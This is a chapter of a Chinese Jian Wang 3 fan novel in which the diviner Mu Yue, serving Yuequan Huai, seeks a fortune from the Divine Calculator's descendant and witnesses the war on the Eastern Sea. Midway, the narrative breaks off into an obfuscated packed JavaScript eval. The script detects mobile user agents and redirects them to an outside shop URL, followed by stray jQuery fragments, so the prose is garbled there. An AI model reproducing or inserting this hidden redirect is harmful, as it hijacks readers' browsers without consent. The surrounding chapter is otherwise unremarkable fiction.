11. 东海之行

作品:《拥月[剑三]

    谢采走后没多久,慕月就被月泉淮喊了进去,他大爷的,慕月看见他乌漆嘛黑的脸色才想起来他人还在里面。


    以月泉淮之内力,她和谢采在外面吐槽他将死之命,岂不是一清二楚。


    慕月战战兢兢等他发话,正想着第一百零八个借口时,他问道:“你算到——迟驻命不久矣了?”


    慕月一愣,是啊,他一直以为她爱慕的是迟驻。


    于是松了口气,然后点了点头。


    月泉淮仔细打量着慕月的脸色,清澈的眼神有些疑惑:“你不替他改命,就眼睁睁看着他去死?”


    慕月老老实实道:“天道若是真的如此,我也拦不住。”


    逆天改命,她可没这本事。


    况且迟驻本就心存死志,尤其是在见到厌夜之后,屡次挑事也是故意惹怒月泉淮,不想对上厌夜。


    月泉淮看了她好一会儿,轻哼了声:“你倒是看得开……对了,你替那么多人算过,就没有替我算过?”


    慕月不敢说他命数太毒,看一眼要吐好多血,便狗腿道:“谢采不是说了吗,越是在意之人,越难算清,大人是我最在意的人,我实在算不出来。”


    他嗤之以鼻,好在也没指望慕月,便道:“神算后人在东海出没,你试着和她接触接触,想办法让她替我算一卦。”


    “我?”让她想办法?


    慕月有种荒谬的感觉,哭丧着脸道:“神算后人身边集齐各路高手,大人您要是看我不爽,直接杀了我便是,何苦让我白白送命?”


    “试试看,你不是挺能忽悠的,我看你连谢采都能忽悠上,他招你为下属你为何不答应?”他抛着一枚史思明送来的金珠,问道。


    又是一个送命题,慕月叹气:“谢采手段狠辣,我替他办事,难有活路。”


    倒是月泉淮这里,只要乖乖听话,摸清他脾性,还是有活路的。


    慕月看着他如玉般的面容,忍不住道:“谢采将那个方士送至大人身边,表面上看是帮您,可实际上……您不觉得有些事,太巧合了吗?”


    谁知月泉淮轻描淡写道:“我知道他是利用我,那又如何,各求所需罢了。”


    他大爷的,原来他不是不知道谢采把他当枪使,他只是不在意。


    “至于迟驻,大人——看在他这么多年为您做事的份上,别让他和凌雪阁的人对上吧。”慕月恳求道。


    脑袋挨了一下,月泉淮站在了她身前,倒不是很疼,慕月听见他冷哼一声:“我好心让你避开,免得眼睁睁看那小子找死,你倒是不领情。”


    原来是这样,她说怎么月泉淮给她派了个这么差事。


    慕月闷闷道:“好歹相识一场……”


    “行了,你让迟驻老实点,别坏了谢采的局就行。”他到底是答应了,还顺手把那一箱珠宝赏她了。


    看样子和谢采的合作让他心情很好。


    只是慕月没想到,东海之行也不太平。


    月泉淮给她塞了些人,不知为何,他总认为慕月会跑路。


    她其实不会跑,只是这些人在身边,真的很影响她游山玩水……啊不,影响她探查情报哎。


    慕月每次南下的任务,其实很简单,就是摸清楚中原武林各派的实力,这东西很好查,去找几个说书人,一清二楚。


    所以大部分时间,她都是在公费旅游。


    也不知道是不是因为自己给的情报太扯,月泉淮真的打算挑战各派高手。


    不是,她胡说八道是因为摸鱼,谢采也不劝劝他吗?


    他在东海经营这么长时间,中原武林的事情,不可能不清楚啊。


    不过这事慕月管不了,因为那神算后人,运气实在太差,居然真的给她撞上了。


    小姑娘,你出门就不给自己算一卦吗……


    她身边还是那个阴阳家的小子,还有那个眼熟的江湖客。


    那江湖客执长刀而立,挡在神算后人前,笑嘻嘻道:“月姑娘!这么快就再见了,我就说我们俩有缘吧,那什么苦海无涯,回头是岸……”


    慕月一剑过去,他终于正色:“姑娘,我念你心怀正义,一直劝你脱离那月泉老魔……”


    月泉老魔,她差点没绷住,回去一定要告诉月泉淮他在中原武林还有这么个响当当的名号。


    “闪开!我问这位姑娘几句话——”慕月对他道。


    其他人依旧防备,她看着那少女,公事公办道:“我家宗主不是要你性命,只想让你帮他算一卦,你有什么条件,可以谈。”


    眼下这里这么多高手,慕月当然没傻到直接抢人,最好这神算后人能开个条件,她再慢悠悠溜达回去复命,大家多谈几次,她多逛一阵子。


    “我不会替他算的。”她直接拒绝。


    少女,她只是个办差的,你能不能……能不能给她个台阶下啊,她带的这几个人可不好打发啊。


    果然,身后月泉宗弟子就道:“废话什么,带回去就是!”


    慕月冷笑一声,退后一步:“那你上啊。”


    他顿了顿,看了看眼前这一堆人,最终闭嘴了。


    慕月看着他们,又和那江湖客大眼瞪小眼了会儿,最后看着神算后人道:“你给我算一卦如何?算得好——我今天日便放你一马。”


    慕月给她一个台阶,她随便扯几句,慕月就顺水推舟带人直接撤。


    那江湖客看出慕月无意与他们为敌,一直给那少女使眼色,她却直接无视,盯了慕月好一会儿,居然真的开始准备卜卦。


    慕月一愣,算别人命数,对自己修行是有影响的,越是难算的,反噬越大。


    不光是她意外,其他人也很意外。


    有个年轻的,看起来是名门公子的少侠不悦道:“她替月泉淮做事,手上不知道多少人命,多多你不用替她算,有我们在她不敢如何!”


    多多没理他,过了会儿,脸色开始泛白,慕月有些不忍:“算了,反正我拿你们没办法,你不用算了,我走了!”


    真是个实诚孩子啊,跟她之前遇到的那些神棍相比,简直是一股清流。


    在慕月转身离去时,这位神算后人说出了批语:“一生多难,心如明镜,长命百岁,孑然孤苦。”


    她是真没想到,这少女不给月泉淮算,却愿意给她算。


    “少时我承你一情,如今还清了,你今后好自为之。”神算后人——赵涵雅说道。


    慕月沉默了许久,对她拱手,带着人走了。


    见那白衣女子走后,多多叹了口气:“她行事和那些人完全不同,我实在费解,这样的人为何要与月泉淮一道。”


    “这种人还能长命百岁,真是活久见!”有人愤愤不平。


    “月姑娘是个好人,虽然一条道走到黑,但你说她能长命百岁,想来应该会醒悟的吧。”和慕月打过多次交道的江湖客叹道。


    慕月不知道这些正道弟子对她的评价,得了批卦后,有些纳闷,又有些惆怅,把那些月泉宗弟子赶走,自己一个人在海岛找了个高处,看漫天星辰。


    今夜她什么也看不清,她也不想算了。


    她不知道自己,为什么会喜欢那样一个人,到底是爱慕他的强大,还是爱慕他不会枯朽的容颜,还是他救自己时,恍若神明一样的风采——


    这是天理难容的情感,她觉得自己真该死。


    她怎么可能长命百岁,她该早早下地狱才对。


    第二天月泉淮就秘密抵达东海,慕月吹了一夜海风,昏昏沉沉去见他。


    他依旧风姿绰约,气度不凡,见她这样,嘲弄道:“呵,你倒是有本事,神算后人都愿意给你占卜,卦象如何?”


    其实这事慕月办砸了也没什么,他也没指望


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976404|193513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慕月能办成,但是现在这结果搞得大家都很尴尬。


    慕月敷衍道:“长命百岁,多子多福。”


    他冷笑了一声,看起来很不高兴的样子,走到她面前:“你的小情郎都要命不久矣了,哪来的多子多福?”


    慕月不知道他抓着自己不放干什么,月泉泠心今天也在,闻言道:“她三番屡次违背宗主的意见,宗主应该好好罚她——”


    慕月不吭声,觉得心很累,不想理她。


    倒是岑伤替她开脱道:“赵涵雅身边高手如云,六长老若是自信,何不自己去试试?”


    他有意激月泉泠心,被月泉淮瞥了一眼,立刻低下头。


    “行了,你最近给我老实点,别到处跑——坏了大局我饶不了你。”月泉淮没发落慕月,岑伤朝她使了个眼色,她悄悄退了出去。


    海风里,隐隐传来了血腥气。


    后面一段时间月泉淮一直看慕月不爽,不知道是不是她那长命百岁的卦象刺激到了他,总是有事没事找她茬。


    比如今天跟谢采一起查看布防,他说慕月穿白衣像吊丧,让她回去换一身。


    她换了身黑衣回来,他又说慕月穿的晦气。


    莫名其妙,以前就算是记忆混乱时,他也没这么神经——而且他自己不也穿一身黑吗?


    谢采打了圆场,给慕月派了个差事,让她去看看姜家家主怎么样了。


    慕月心里大骂月泉淮脑子有坑,忙不迭跑了。


    查看完布防,只剩月泉淮和谢采二人。


    谢采摇着扇子,见月泉淮还是面无表情,笑道:“既然在意,何不对慕月姑娘好一点,她没有和你那义子留守,反倒愿意跟着你出海,想必心里还是有你的。”


    听起来自己只是个退而其次的选择,而且慕月根本不想来,月泉淮十分不悦:“她是没地方去而已……你上次说她的家人,可有寻到痕迹?”


    谢采心里觉得好笑,但面上不显露一分,说道:“有些眉目,是个狠绝色,我的手暂时伸不到唐门那里,你得等等。”


    “唐门?是她什么人?”月泉淮知道巴蜀唐门的神秘,有些意外。


    谢采答道:“应该是她的姐姐,是唐简的人——唐简和你交过手,你应当有印象,隐大人令就是在他手上。”


    他还是透过隐元会得到了这条情报,姐姐如此,难怪妹妹也这么聪明。


    只可惜……他不着痕迹看了眼月泉淮,这人现在还看出什么。


    真是个呆子。


    谢采有意点他,说道:“若是找到她姐姐,你想如何?”


    月泉淮看着他,听出他的弦外之音,瞥了他一眼。


    对面男人一甩扇子,悠悠道:“扣住她姐姐,她自然会乖了,到时候你想做什么都可以……”


    最后几个字音调略微有些低沉,显得有些暧昧。


    月泉淮的目光落在他扇子上,过了会儿才若无其事道:“这么大海风你摇什么扇子,不嫌冷?”


    在渤海他就想说了。


    谢采长叹一声:“你真是不懂情趣啊……难怪人家小姑娘只怕你,和你多说一句都嫌烦。”


    这句话实打实扎在月泉淮心上,他虽然觉得自己对慕月没什么乱七八糟心思,但谢采这番调侃,还是激怒了他:


    “你懂情趣?你的宝贝妻子怎么不理解你的野心,还要让人偷偷去看她?”


    不愧是能走到一起的两个人,互相捅起刀子来都干脆利落,谢采沉着脸走了,他本来还打算点醒月泉淮的,现在他可没这么多好心了。


    什么拥月仙人,自大傲慢,活该。


    慕月在东海看着月泉淮杀了蔷薇列岛两大家族高手,助渤海日本等国进攻东海,那日夕阳洒满这座小岛,她在残阳中,看见了即将到来的中原武林黑暗时刻。


    她问天道该如何,天道不言。